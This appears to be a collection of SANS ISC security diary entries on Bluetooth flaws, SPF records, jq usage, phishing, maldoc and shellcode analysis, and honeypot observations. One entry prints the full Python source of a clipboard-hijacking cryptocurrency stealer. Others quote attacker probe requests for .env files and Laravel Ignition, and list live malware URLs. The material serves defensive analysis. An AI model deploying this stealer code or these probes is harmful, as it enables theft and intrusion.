In a previous diary entry, I had written about the increasing trend of Bluetooth vulnerabilities being reported in the recent years [1]. Today, the Automated Systems SEcuriTy (ASSET) Research Group from the Singapore University of Technology and Design (SUTD) revealed the BrakTooth family of vulnerabilities in commercial Bluetooth (BT) Classic stacks for various System-on-Chips (SoC) [2]. In this diary, I will be giving a brief background on BrakTooth, highlight affected products and also discuss next steps affected users/vendors could consider.

The name BrakTooth was coined from the Norwegian word “Brak” (translates to crash in English), and “Tooth” (a hat-tip to the Bluetooth protocol). These vulnerabilities were mainly caused due to non-compliance to Bluetooth Core Specifications and their respective communication protocol layers. 13 Bluetooth devices (Bluetooth Classic versions ranging from Bluetooth 3.0 + HS to Bluetooth 5.2) from 11 different vendors were assessed. 16 new vulnerabilities were discovered, and 20 Common Vulnerability Exposures (CVE) Identifiers (IDs) were assigned (along with another 4 CVE IDs pending assignment from Intel and Qualcomm). On top of the vulnerabilities that were discovered, some devices also displayed anomalous behaviour that deviates from the Bluetooth Core Specifications [3]. The summary of vulnerabilities, anomalies, devices and patch status are outlined in Table 1 below.

Table 1: Patch Status, Vulnerabilities and SDK/Firmware Version of Affected Devices (*Contact vendor to acquire patch)

SoC/Module Vendor	Bluetooth SoC	Firmware/SDK Version	CVE/Anomaly (A)	Patch Status
Espressif Systems	ESP32	esp-idf-4.4	CVE-2021-28135 CVE-2021-28136 CVE-2021-28139 A1: Accepts lower Link Manager Protocol (LMP) length	Available
Infineon (Cypress)	CYW20735B1	WICED SDK 2.9.0	CVE-2021-34145 CVE-2021-34146 CVE-2021-34147 CVE-2021-34148 A2: Accepts higher LMP length A6: Ignore encryption stop	Available*
Bluetrum Technology	AB5301A	Unspecified (LMP Subver. 3)	CVE-2021-34150 CVE-2021-31610 A1: Accepts lower LMP length A2: Accepts higher LMP length	Available*
Intel	AX200	Linux - ibt-12-16.ddc Windows - 22.40.0	2 CVE IDs pending A1: Accepts lower LMP length A2: Accepts higher LMP length A5: Invalid Response	Patch in progress
Qualcomm	WCN3990	crbtfw21.tlv, patch 0x0002	1 CVE ID pending A1: Accepts lower LMP length A2: Accepts higher LMP length A4: Ignore Role Switch Reject	Patch in progress
Zhuhai Jieli Technology	AC6366C	fw-AC63_BT_SDK 0.9.0	CVE-2021-34143 CVE-2021-34144 A1: Accepts lower LMP length A2: Accepts higher LMP length	Patch in progress
Zhuhai Jieli Technology	AC6925C	Unspecified (LMP Subver. 12576)	CVE-2021-31611 CVE-2021-31613 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Zhuhai Jieli Technology	AC6905X	Unspecified (LMP Subver. 12576)	CVE-2021-31611 CVE-2021-31612 CVE-2021-31613 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Actions Technology	ATS281X	Unspecified (LMP Subver. 5200)	CVE-2021-31717 CVE-2021-31785 CVE-2021-31786 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Harman International	JX25X	Unspecified (LMP Subver. 5063)	CVE-2021-28155 A1: Accepts lower LMP length A2: Accepts higher LMP length	Pending
Silabs	WT32i	iWRAP 6.3.0 build 1149	CVE-2021-31609 A1: Accepts lower LMP length A2: Accepts higher LMP length	Pending
Qualcomm	CSR8811/ CSR8510	v9.1.12.14	1 CVE ID pending A1: Accepts lower LMP length A2: Accepts higher LMP length	No fix
Texas Instruments	CC2564C	cc256xc_bt_sp_v1.4	CVE-2021-34149 A1: Accepts lower LMP length A2: Accepts higher LMP length	No fix

The various patch statuses are explained as follows:

Available: The vendor has replicated the vulnerability and a patch is available.
Patch in progress: The vendor has successfully replicated the vulnerability and a patch will be available soon.
Investigation in progress: The vendor is currently investigating the security issue and is being assisted by the researchers.
Pending: The vendor hardly communicated with the researchers and the status of their investigation is unclear at best.
No fix: The vendor has successfully replicated the issue, but there is no plan to release a patch.

Utilizing the BrakTooth family of vulnerabilities, the researchers could achieve arbitrary code execution on smart home products that used ESP32 SoC, cause Denial-of-Service (DoS) attacks on laptops and smartphones, and finally induce audio products to freeze up. A preliminary examination of products listed in the Bluetooth listing indicated that over 1400 product listings were affected [4]. However, as the Bluetooth stack is likely to be shared amongst many products, there is a high possibility that many other Bluetooth products are affected by BrakTooth. As of now, the Proof-of-Concept (PoC) code is only made available to any Bluetooth semiconductor or module vendors and embargoed until the end of October 2021 (before the code is made available for the public).

How should everyone handle the usage of Bluetooth devices, especially if the devices used are affected by BrakTooth? As a start, one might want to be more aware of one’s surroundings when using Bluetooth. Since BrakTooth is based on the Bluetooth Classic protocol, an adversary would have to be in the radio range of the target to execute the attacks. As such, secured facilities should have a lower risk as compared to public areas (assuming no insiders within secured facilities). Having said that, this could also be a difficult task if an adversary manages to conceal the equipment well, though that would affect the range of Bluetooth connectivity.

For end users, it is highly recommended to check if the Bluetooth products currently being used are in Table 1. If the patches are available (or if you can contact the vendor for the patch), please apply them immediately. If the patch is in progress or if the vendor is still investigating, perhaps it would be worthwhile to watch out for any anomalous behaviour (such as the inability to reconnect to a Bluetooth connection or audio devices not responding) when Bluetooth is being in use. Turn it off (if possible) when Bluetooth is not actively in use to reduce your attack surface. Keep a close lookout for corresponding patches and update the devices when possible. If the devices used SoC where no fixes are available, it is recommended to stop using them (unless one is prepared to accept the risk of BrakTooth vulnerabilities being exploited). Finally, keep in mind that BrakTooth is not limited only to the devices tested by the researchers as the attacks apply to any Bluetooth Classic implementation. Checking just the Bluetooth chipset is not enough to confirm the existence of BrakTooth. To concretely verify that a Bluetooth device is affected by BrakTooth, users could consider obtaining the BrakTooth PoC (when it is released to public on October 31st) and test the device with it.

Organizations, governments and critical infrastructure may be using affected components as well. If stakeholders are uncertain about the extent of Bluetooth usage and the associated devices, an audit of the devices/components in use should be carried out. Following that, a risk assessment should also be conducted to assess the risk posed by BrakTooth to users or day-to-day operations. Keeping in mind the attack vector, an interim measure could very well be enhanced physical security while affected devices are patched/replaced.

Finally, for Bluetooth SoC or module vendors, it is highly recommended to contact the researchers for the PoC to test products for BrakTooth vulnerabilities [5] now. Although vendors may not be legally obliged to always keep their products secure and updated, increased adoption of Bluetooth for work and health and a rising interest in Bluetooth vulnerability research underscores the importance of such issues for consideration. In addition, as customers and users get increasingly discerning for the need of their privacy and data to be protected, it is in the vendors’ best interests to ensure product security for continued presence in the market.

The full technical details of BrakTooth can be found over here [2], and also available as a downloadable PDF file [6].

References:
[1] https://isc.sans.edu/diary/27460
[2] https://www.braktooth.com
[3] https://www.bluetooth.com/specifications/bluetooth-core-specification
[4] https://launchstudio.bluetooth.com/Listings/Search
[5] https://poc.braktooth.com
[6] https://asset-group.github.io/disclosures/braktooth/braktooth.pdf

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Be careful if you're a user of cryptocurrencies. My goal is not to re-open a debate about them and their associated financial risks. No, I'm talking here about technical risk. Wallet addresses are long strings of characters that are pretty impossible to use manually. It means that you'll use your clipboard to copy/paste your wallets to perform payments. But some malware monitors your clipboard for "interesting data" (like wallet addresses) and tries to replace it with another one. If you perform a payment operation, it means that you will transfer some BTC or XMR to the wrong wallet, owned by the attacker.

Yesterday, I spotted a simple malicious Python script that performs exactly this.The script SHA256 is ab1ef55c9e4266e5a2b0870deefb609d3fa9d2c0ee8e0d34a2d7c080c84ca343 and has a current score of 17/57[1]. The main code is obfusctated in a Base64-encode variable.

As you can see in the code below, this script is delivered with love to the victim! Random love quotes are added in the script to defeat some automated analysis. The script is based on the pyperclip[2] library that is common in the Python ecosystem. It allows manipulating the clipboard. The fact that the script does not test if the module is already installed makes me think that this script is part of a framework or has dependencies with others.

The clipboard is controlled at regular intervals and searched for classic cryptocurrencies through regular expressions. If there is a match, the clipboard content is swapped with a rogue wallet. Two are two defined in this sample.

Here is the code:

#If I know what love is
import pyperclip
#I fell in love with her courage
import json
#If you live to be a hundred
import time
#A man is already halfway in love
import re
#Women are meant to be loved
import argparse
#You make me want to be a better man
from datetime import datetime
#Thinking of you keeps me

def main():
    # infinite keeps me
    while 1:
        now = datetime.now()
        
        time.sleep(2)  #Let me love you
        #There is never a time or place for true love
        user_clipboard = pyperclip.paste()
        #true love
        crypto_found = spiff(
            user_clipboard
        )  
        replacement_address = replace(
            user_clipboard, crypto_found
        )  
#love is so short, forgetting is so long
        
master_addresses = {
  "btc": "xxxxxxxxxx",
  "xmr": "null",
  "eth": "xxxxxxxxxx",
  "dash": "null",
  "xrp": "null",
  "doge": "null",
  "ada": "null",
  "lite": "null",
  "dot": "null",
  "tron": "null"
}
#cares and fears
def replace(user_clipboard, crypto_found):

    if crypto_found != 0 and master_addresses[crypto_found] != "null":
        pyperclip.copy(master_addresses[crypto_found])
        return str(master_addresses[crypto_found])
    return 0
#until love’s vulnerable

def spiff(user_clipboard):
    crypto_regex_match = {
        "btc": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
        "xmr": "4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}",
        "eth": "^0x[a-fA-F0-9]{40}$",
        "dash": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
        "xrp": "^r[0-9a-zA-Z]{24,34}$",
        "doge": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
        "ada": "^D[A-NP-Za-km-z1-9]{35,}$",
        "lite": "^[LM3][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "tron": "^T[a-zA-Z0-9]{33}$",
        "dot": "^[1-9A-HJ-NP-Za-km-z]*$",
    }
    #I love you without knowing how
    for k, v in crypto_regex_match.items():
        if bool(re.search(v, user_clipboard)):
            return str(k)

    return 0
    #A purpose of human life

main()
#Love is always patient and kind

I checked the two wallets in the script but then don't show any transaction at this time.

[Update 1]

Brian Krebs contacted me to report a story he posted a few days ago about a real case of such a clipboard swapping technique[3]. This article is worth reading!

[1] https://www.virustotal.com/gui/file/ab1ef55c9e4266e5a2b0870deefb609d3fa9d2c0ee8e0d34a2d7c080c84ca343/detection
[2] https://pypi.org/project/pyperclip/
[3] https://krebsonsecurity.com/2021/08/man-robbed-of-16-bitcoin-sues-young-thieves-parents/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Since JSON has become more prevalent as a data service, unfortunately, it isn't at all BASH friendly and manipulating JSON data at the command line with REGEX (i.e. sed, grep, etc.) is cumbersome and difficult to get the output I want.

So, there is a Linux tool I use for this, jq is a tool specifically written to manipulate and filter the data I want (i.e. like scripting and extract the output I need) from large JSON file in an output format I can easily read and manipulate.

The most common form of logs I work with are JSON arrays (start and end []). For example, using a basic example like this to demonstrate how to iterate over an array:

echo '["a","b","c"]' | jq '.[]'

which will result to this using the object value iterator operator .[] will print each item in the array on a separate line:

"a"
"b"
"c"

In this next example, I take the data from the bot_ip.json file, parse the list of IP addresses and which site they came from. Before parsing this file, here is how the raw output of the file starts:

cat bot_ip.json | jq '.objects[].ip + ": " + .objects[].source' | sort | uniq

The output looks like this:

"212.39.114.139: Botscout BOT IPs"
"216.131.104.82: Botscout BOT IPs"
"2607:90:6628:470:0:4:0:801: Botscout BOT IPs"

Since this file contains objects before the open [, I use it as an anchor to start parsing the data I want to see. I added the column (:) separator between the IP and the data source.

This second example is with mal_url.json which contain know malware URL location. Before parsing this file, here is how the file starts:

cat mal_url.json | jq '.objects[].value + ": " + .objects[].source + ": " + .objects[].threat_type' | sort | uniq

"http://103.82.81.37:42595/Mozi.a: URLHaus: malware"
"http://103.84.240.226:45940/Mozi.m: URLHaus: malware"
"http://110.178.73.97:34004/Mozi.m: URLHaus: malware"

Using this test file available here, it contains several records that can be used to manipulate JSON data. Using wget, download the file to a Linux workstation [2] and ensure that jq is already installed (i.e. CentOS:  yum -y install jq). Next take a quick look at the raw file using a Linux command of your choice (less, more, cat, etc) before parsing some of the data with jq. To view the data properly formatted and readable, use this command:

cat large-file.json | jq | more

Manipulate the data to get a list of actors with the current information, run this command:

cat large-file.json | jq '.[].actor' | more

To get just the list of actor login information, add .login to .actor:

cat large-file.json | jq '.[].actor.login' | more

What are some of your favorite tools to manipulate JSON data?

[1] https://stedolan.github.io/jq/manual/
[2] https://github.com/json-iterator/test-data/raw/master/large-file.json
[3] https://gchq.github.io/CyberChef/
[4] http://iplists.firehol.org/?ipset=botscout

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Update/errata 9/7/2021: Though there are indeed many domains with an SPF record in the CZ ccTLD, the numbers mentioned bellow turned out to be incorrect, due to a calculation error on the part of my source, which only came to light late last night. It turns out that at the time of the scan, there were approximately 1.1 million domains without an SPF record, and only about 300k had the record set (i.e. the ratio was reversed). These numbers are still interesting, though much less optimistic than the originally reported ones...

The Sender Policy Framework (SPF[1]) is a simple but fairly powerful mechanism that may be used (ideally in connection with DKIM[2] and DMARC[3]) to combat phishing to some degree. Basically, it allows a domain name owner to publish a special DNS TXT record containing a list of servers that are authorized to send e-mails for that domain. Existence of this record and its contents is automatically checked by modern e-mail servers whenever they receive an e-mail that appears to come from a certain domain and if the sending server is not on the “approved list” for that domain, the message may be dealt with in a special way – for example marked as potentially fraudulent, moved to a quarantine folder, or even dropped entirely.

The structure of an SPF record is quite simple – after an SPF version specification (v=spf1) one may list “directives”. These are specifications of IP addresses, domain names or other DNS records, that identify valid sources of e-mail for the domain (they may be preceded by a + symbol or – in some instances – an “include” keyword). After the list of “approved senders”, the record should end with a directive that specifies that no other servers may send e-mail for that domain. This may be done by ~all (so called “softfail”) or -all directives, which indicates that no other servers are approved for sending e-mail for that domain.

One might end an SPF record using a “neutral” ?all directive, which would basically mean “an e-mail coming from all other sources, than the ones explicitly listed, should be treated as if this SPF record didn’t exist” (which can be useful for initial deployment or troubleshooting, but defeats the purpose of SPF in any other case, at least when it’s used on its own without DMARC). An SPF record might even end using a +all directive, which would specify that all sources that were not mentioned are explicitly permitted to send messages for the domain. Setting such an SPF record would however be completely nonsensical, since it would basically allow all servers everywhere to legitimately send e-mail on behalf of the domain in question.

A typical SPF record might therefore look like this one, which is currently set for wikimedia.org:

v=spf1 ip4:91.198.174.0/24 ip4:208.80.152.0/22 ip6:2620:0:860::/46 include:_spf.google.com ip4:74.121.51.111 ~all

Some SPF records may include additional mechanisms and be slightly more complex, but for our purposes, the form mentioned above (a list of “valid” senders followed by -all or ~all directive) is quite sufficient.

What’s important to note is that if a record doesn’t specify how e-mail from “all” other senders should be treated (i.e. it doesn’t end in ~all or -all directive), then a ?all directive is implicitly added to its end. This means that a record that is not properly terminated makes very little impact, since it only specifies “allowed” senders, but does not specify that any other sender is not allowed to send e-mails on behalf of the domain.

Although it may seem strange, given what we just mentioned, it is widely accepted that a not insignificant number of SPF records do explicitly end with the ?all directive, which is something that phishing authors sometimes use to their advantage[4,5].

At this point you might reasonably ask what is meant by “a not insignificant number of records”.

Although I can’t offer you hard data for the entire internet, I am in the position to do so for a small part of it – specifically for the .CZ TLD.

The Czech national domain name registry, CZ.NIC (which also operates the Czech National CSIRT) recently created a tool that allows them to scan (literally) all of the domains in the CZ ccTLD space for arbitrary “properties”, such as supported TLS ciphersuits or specific DNS records. And since “misconfigured” SPF records are a pet peeve of mine, ever since I learned about the existence of this tool, I have been bothering a colleague from the National CSIRT, @e2rd_rejthar, with requests for data for SPF-related DNS records. This week, he was kind enough to send them to me, which means I can now share with you fairly exact numbers related to SPF use (though – admittedly – only in a very small part of the internet).

As you may see from the chart, there were many more SPF records than one might have expected (or, at least, that I would have). There were 1,401,785 .CZ domains registered on the day of the scan (August 19th) and these domains used 1,101,489 SPF records in total. Since one may “chain” multiple SPF records for one domain, this does not necessarily mean that over 78.5 % of all CZ domains had SPF record set, but even so, the number is still very high.

Correction - after checking with my colleague, the 1.1M really refers to the number of individual domains with SPFv1 records set, which means that 78.5 % of .cz domains really do have an SPF record.

What’s also surprising is the comparatively small number of “less than optimally set” records. The ?all directive was present in only 35,270 records (~3.2 %) and the “whoever included this should have known better” +all directive was present in only 558 records.

Although the numbers for domains in the .cz TLD are most likely not representative of the wider internet, who knows – maybe there are significantly more SPF records overall than we might expect and perhaps the issue with ?all directives isn’t as commonplace as it used to be… We can only hope.

[1] https://datatracker.ietf.org/doc/html/rfc7208
[2] https://datatracker.ietf.org/doc/html/rfc6376
[3] https://datatracker.ietf.org/doc/html/rfc7489
[4] https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/
[5] https://isc.sans.edu/forums/diary/Agent+Tesla+delivered+by+the+same+phishing+campaign+for+over+a+year/26062/

-----------
Jan Kopriva
@jk0pr
Alef Nula

One up and coming request I recently noticed in our honeypots was pretty simple:

GET /twilio.env HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Twilio is a popular service used to send/receive SMS messages and phone calls [1]. They offer a simple API and integration is very easy. To authenticate to the API, requests need to include an "Account SID" and "Auth Token". Like in many similar APIs, each request includes these credentials.

Twilio's documentation suggests to store these credentials in environment variables and use a .env file to initialize the variables [2].

It’s important to keep credentials such as your Twilio Account SID and Auth token secure by storing them in a way that prevents unauthorized access. One common method is to store them in environment variables which are then accessed from your app. This keeps them out of code and other places where credentials don’t belong. Let’s take a look at how to work with environment variables with a variety of operating systems and languages.

Using environment variables to store credentials is common practice and not the worst way to store this kind of data. A secure credential wallet/management system is of course preferred, but Twilio's advice makes sense in that it is language agnostic and not limited to a particular solution a developer may have selected.

But the location of the .env file matters. Files like this should NEVER be placed inside the Web Root / Document Root of a website. Instead, they should be placed outside in a location not directly accessible by a browser. In addition, direct access to these files should be blocked by the webserver. The webserver will likely need read permissions to access the file, but the file should be blocked from being delivered to the user unparsed. 

twilio.env isn't the only .env file that attackers are looking for. The particular attacker is also looking for:

GET /.env.dev
GET /.env.prod
GET /.env.stage

In Apache, you may use the following Files directive to block access to ".env*' files:
 

<FilesMatch  "\.env">.   
    Order allow,deny
    Deny from all
</Files>

Or nginx:

location ~ /\.env {
   deny all;
}

In the past, I sometimes blocked access to all files starting with ".", but be careful to allow access to .well-known for the Let's Encrypt ACME protocol.

[1] Twilio.com
[2] https://www.twilio.com/docs/usage/secure-credentials

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I received a malicious document sample, a .docx file: c977b861b887a09979d4e1ef03d5f975f297882c30be38aba59251f1b46c2aa8.

If you are familiar with maldocs, you know that .docx files do not contain VBA macros.

What is hiding in this maldoc, is just 2 embedded files:

In the command above, I just use my zipdump.py tool to peek into the .docx file (OOXML files like .docx files are ZIP containers).

Embedded files are stored as OLE files inside OOXML files. Thus one can use my oledump.py tool to analyze them:

Remark the two O indicators: they tell us there is an embedded object inside that stream (streams A2 and B2).

More info about embedded objects can be obtained with option -i:

We have quite some information here. First of all, the hashes of both files are identical, thus the file was embedded twice.

The original name of the embedded file is LoadSupportingFiles.exe, and it comes from a user ray who keeps their payloads on their desktop.

The first 2 bytes (MZ) indicate that this is most likely a Windows executable.

We can extract the file with option -e, and pass it to my tool pecheck.py for example, to verify that it is a PE file:

I also opened the file with Word inside a sandbox, to see how it looks:

Interestingly, when I follow the instructions, I'm prevented from executing the program. This happens even on an outdated machine (Windows 7 without AV and running Office 2016 patched in October 2020):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

A new version was released for the following Sysinternals tools:

• autoruns
• rdcman
• procdump
• winobj
• tcpview
• procmon
• process explorer
• sysmon

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Keep this in mind: "Patience is key". Sometimes when you are working on a malware sample, you depend on online resources. I'm working on a classic case: a Powershell script decodes then injects a shellcode into a process. There are plenty of tools that help you to have a good idea of a shellcode behavior (like scdbg[1]):

But scdbg is an emulator and does not execute the shellcode. Anyway, by checking the first instructions of the shellcode, we can be pretty confident that we are facing a downloader. It will grab some content from a malicious host. But what will happen after? Of course, you can try to access manually the host using tools like wget, netcat, curl, ...but what if the payload (and probably it will) is encoded or encrypted?

Using jmp2it, I executed the shellcode into a debugger and found a loop used to connect several times to the host. After unsuccessful attempts, the shellcode will simply give up and exit. From a defense point of view, this is already a good finding: You know that, if the shellcode can't connect, it won't infect the computer. But, in my case, I needed to access this payload to investigate further.

The bad news: the host was unavailable. Maybe the campaign was already over? Or I found the sample too soon and the host will show up in a near future? Or... we can imagine a lot of scenarios.

In a normal context, you can simulate the "Internet" in your malware analysis lab and let the shellcode download the expected content. In this case, you don't know what to offer to the shellcode: a PE file? a DLL? some obfuscated data?

Because patience is key, I decided to take another approach and I patched the shellcode to not exit the loop where it tries to connect to the host. In pseudo-code, we have something like:

counter = 5
while counter > 0:
    if connect_to_c2() == True:
        do_more_stuff()
        exit
    counter--
exit

If you don't decrement counter, you will have an infinite loop until the host replies successfully.

That's what I did in the shellcode. The instruction at 0x003F0105 was "JNE 3F00F3" by an unconditional jump: "JMP 3F00F3". By doing this, I won't exit the loop after the unsuccessful attempts and wait forever for the C2. Then I set up a breakpoint to stop in case of a successful connection.

Of course, I won't stay forever in front of my screen waiting for the magic to happen. In parallel to this, I set up my network monitoring tool to alert me when the host becomes available and a full packet capture is in place.

I'm now waiting for more than 24 hours and still nothing. Unfortunately, I think that the host will never show up but if it works, I'll keep you updated!

[1] https://isc.sans.edu/forums/diary/Analyzing+Encoded+Shellcode+with+scdbg/24134/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Many companies have extensive security tools to monitor employee computers. But these precautions often fail for "out of band" access that uses cellular networks instead of Ethernet/WiFi networks. Our reader Isabella sent us this phishing email that they received:

Dear User,
This is to let you know that our web-mail server will be upgraded and maint=
ained soon.

If you don't want your e-mail account to be terminated during the upgrade,

Send "[redacted]" to 6-0-5-5-5-5-1-1-1-1. [altered]

You will receive instructions on how to upgrade your account via text messa=
ge.

If you do not comply with the above, your email access will be disabled.
Please accept our apologies for any inconvenience this may cause.

 

Regards
System Administrator
[redacted]

Note that the phone number is somewhat obfuscated, likely to protect it from tools inspecting email or network traffic. The user is asked to send an SMS. While SMSs may travel across WiFi networks in some cases, they are usually not accessible to network protection devices. In this case, the user received a link next:

The user is no likely going to click on the link using a mobile device, lessening the risk of discovery to the attacker. The target URL is no longer available, but Isabella reported that the link leads to a phishing page.

The attack was somewhat targeted in that the attacker used consistent branding for the code to be sent. It included the short-form of the organizations name which is why I redacted it above. Even the target domain used (which is no longer reachable to me), "http://micro365upgrade.com" was plausible for an Office 365 upgrade.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Living in Florida, afternoon thunderstorms are a regular occurrence with Florida having the highest lightning density of any state in the US [1]. In my time in Florida, I had close or direct strikes damage equipment twice. The most recent incident was about a month ago. So I am sharing here some of the things that work and don't work.

This most recent strike didn't hit the house directly as far as I can tell. But the house was engulfed in a large flash lasting several seconds. I am including a video clip of the strike as it was captured on a security camera. Lightning can cause damage in different ways. First of all, a direct strike will of course inject significant voltage and current, causing equipment to melt and even fire. A few neighbors were affected by such a strike hitting a cable TV line, melting several cable modems, and causing one small fire. The more likely damage is however not from a direct strike. Even a close strike, like the one I experienced, can cause damage as the strong electric field will induce currents that will in particular affect low voltage equipment like networks. Networks again are particularly sensitive. Longer cables may pick up more of the electric field.

First a list of the equipment the strike damaged (none of the equipment was visibly damaged):

• Cable modem.
• Firewall (only the port connected to the cable modem)
• One PoE switch lost its PoE function but still passed traffic.
• A second PoE switch lost a couple of ports.
• a small PoE powered switch was completely dead
• Apple TV wired network port was dead but works otherwise
• The projector powered on but displayed no picture
• The receiver connected to the projector would no longer output an HDMI signal
• The subwoofer connected to the receiver was dead.

I may have missed a couple of things, but needless to say, the damage was substantial.

Surge Protectors / UPS

All equipment but the project was connected to a UPS. But I don't think the UPS played a role here. It may have prevented worse damage. So far, it looks like all the damage was caused via network ports (the receiver was connected to the dead PoE switch, but there is also a long HDMI cable from receiver to project that may have played a role).

I do have a surge protector that is well-grounded as the cable enters the house. Note that cable companies usually only ground the cable, and do not install a surge protected. Coax surge protectors are a bit tricky. "Gas Tube" surge protectors that are sometimes used can wear out over as little as 5 years or even built up a charge that itself can cause damage. The surge protector in my case had no visible damage and still appears to work fine, For damage caused by current induced by a close-by lightning discharge, surge protectors are not of too much use. 

PoE Equipment

My Power-over-Ethernet (PoE) equipment did a lot worse than other equipment. There are various anecdotes that can be found that may support that PoE is most sensitive to lightning. The Ethernet standard does include some requirements for over-voltage protection [2] but of course, there are limits, PoE in particular adds additional components like transformers that are vulnerable to excessive voltages. 

Fiber

My network uses some fiber runs in part to electrically isolate network segments. Part of the network is in a separate building with its own power feed and ground point. Back in my physics days, I dealt a lot with sensitive electronics close to high voltage systems and ground loops were an ongoing issue, so I decided early on to use fiber for some of the longer connections (still well within the 100m copper ethernet limit). This strategy worked very well and likely helped contain the damage. Most of the damage appears to have happened either by currents induced by the high potentials of the lightning, or by voltage spikes traveling via network cables.

Recovery

Initial debugging showed that the firewall and the cable modem were out. I do have an LTE modem connected to the firewall. Only the port connected to the cable modem was damaged, and the LTE modem worked well, but due to the cheap data plan I am using, the LTE modem ran out of data within about an hour. Comcast sent a technician next day to replace the modem (I am using static IP addresses which requires a leased modem). 

For the firewall, I did have a spare that was not powered on and I replaced the damaged firewall. The damaged switches worked well enough initially.For the most part, only PoE devices (couple of security cameras and wireless access points) didn't work. I had an old spare switch around, but it was a different type and would have required significant configuration so I decided to wait the two days until the replacement switch arrived. Luckily a replacement switch was readily available.

Lessons Learned

Fiber works! It probably protected my main workstation and with that the most valuable asset that would have been expensive to replace. It is hard to tell if UPSs played a role. Another important lesson is to have some powered-off "cold standby" equipment. Automatic failover and such is nice to have, but in this case, the failover switch/firewall would likely have been damaged as well. As for backup internet connectivity, I will be trying the unlimited 5G home internet which just became available. The speed of the LTE modem was barely usable and having limited data plans was a pain. I am going to deploy a few more ethernet surge protectors on ports that connect to outdoor PoE cameras. Maybe going to replace some of these ethernet cables with shielded cables (but the cameras all survived)

Final Note

A couple of days after I replaced the cable modem, I had another odd network issue: All of a sudden, only IPv6 connections worked, and IPv4 failed. At the time, I was just reconfiguring IPv6 on the firewall, as my IPv6 allocation changed with the modem swap. So I suspected the firewall, undid my last change, but still no luck. It took me a couple of hours until I realized that IPv4 still went over the LTE modem, while IPv6 used the cable modem, and the LTE modem had just run out of data again. But due to multiple equipment changes along the way, this was the last thing I checked "retracing" my configuration path.

Video of the lightning strike

[1]https://www.weather.gov/media/safety/09-18Flashes_Flash_Density_State.pdf
[2]https://incompliancemag.com/article/designing-ethernet-cable-ports-to-withstand-lightning-surges/

--

Johannes B. Ullrich, Ph.D. , Dean of Research

 

 

Many readers will likely continue to enjoy working from home. Having not worked out of an office for about 20 years myself, I can certainly understand the appeal of working from home. But for some, this isn't an option and probably not even the preferred way to work. Having likely worked from home for over a year now, there are some things that you need to "readjust" as you are moving back.

1 - VPN Use

While working from home, many of us use VPNs. VPNs keep us linked to the corporate network. Some may even have used hybrid solutions like SASE (Secure Access Service Edge) solutions that consider that you are not actually connecting to a corporate network but instead to various cloud solutions. Returning to the office, you will no longer need these overlay networks, and it may make things slow (or even break in some cases) if you leave it enabled. This, of course, assumes that you will be using the same device at your office desk that you used at home.

2 - Content Transfer

So what if you will be keeping a computer at home and a second computer at work? Consider how you will synchronize files. Hopefully, your organization already has some form of central storage that can be used to move files around. It is never a good idea to keep files just in one location, particularly on a portable device in someone's home. It is not just theft you are worried about, but a simple coffee spill or a cat tripping over a power cable could destroy a lot of work.

If you are halfway organized, synchronizing your documents via cloud tools is pretty straightforward. What tends to be a bit more tricky is to synchronize configurations. In the past, I used the same computer while at home and while traveling. But over the last year, I switched to a stationary desktop setup at home and switched email clients. I still used my laptop occasionally, but much less. As I started to travel these last couple of weeks, I noticed that I never configured my laptop's email client correctly.

If possible, it may make sense to carry your home office device with you to the corporate office until all the kinks are worked out. That way, you can always set up a simulated home office.

3 - Device Configurations

Another thing I had to do as I started to travel again was to review my device configurations. At home, I am more relaxed about how many devices are configured. But while on the road, I tend to be more careful about options like WiFi or Bluetooth and other security settings. I had to review them and make sure my "traveling devices" were configured correctly. And while you may not need a VPN to connect to a corporate network while working from an office, you may need one to connect back home or to other resources. I had to make sure my home VPN server was set up correctly and tested as I hadn't used it much at all for over a year. 

4 - System Misconfiguration Creep

The old IT rule, "If it isn't tested, it doesn't work," still applies. There are likely many configurations and systems that have not seen much use over the last year. You may have deployed servers or migrated to cloud services and never used them from your office network. Are access control rules set up correctly? Maybe you only set them up for VPN access and not for access from the corporate network directly. A lot of organizations migrated more and more to cloud services while everybody was out of the office. How will your office network firewalls deal with the added number of outbound connections? I could tell you to test ahead of time carefully, but you will likely miss something. So the best advice is: Expect some things to break. The simulated home office may help.

5 - and buy some shoes before heading back.

Anything I missed?

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Debugging a live site can be a necessary evil. Having a bug that can't be reproduced in development or debugging behavior requiring specific dependencies (e.g., external services or specific backend database) that are hard to replicate in development can make debugging a live site in development as standard operating procedures want you to.

But whatever you do: Be careful how you debug. Checking logs, maybe enabling some verbose logging can be ok. But it would be best if you were very careful enabling specific debug features that are intended for development use only.

One such component I do see actively attacked is Laravel's "Ignition" [1]. Ignition enables "a beautiful error page for Laravel apps" and is included in Laravel starting with version 6. Personally, I am not sure about the exact use case for the extension. I do like readable error pages in development. Still, personally, I could care less that they are "beautiful" (but I have also removed myself from any decisions involving color or design). 

The attacks against this extension:

POST /_ignition/execute-solution HTTP/1.1
Host: a.b.c.d:80
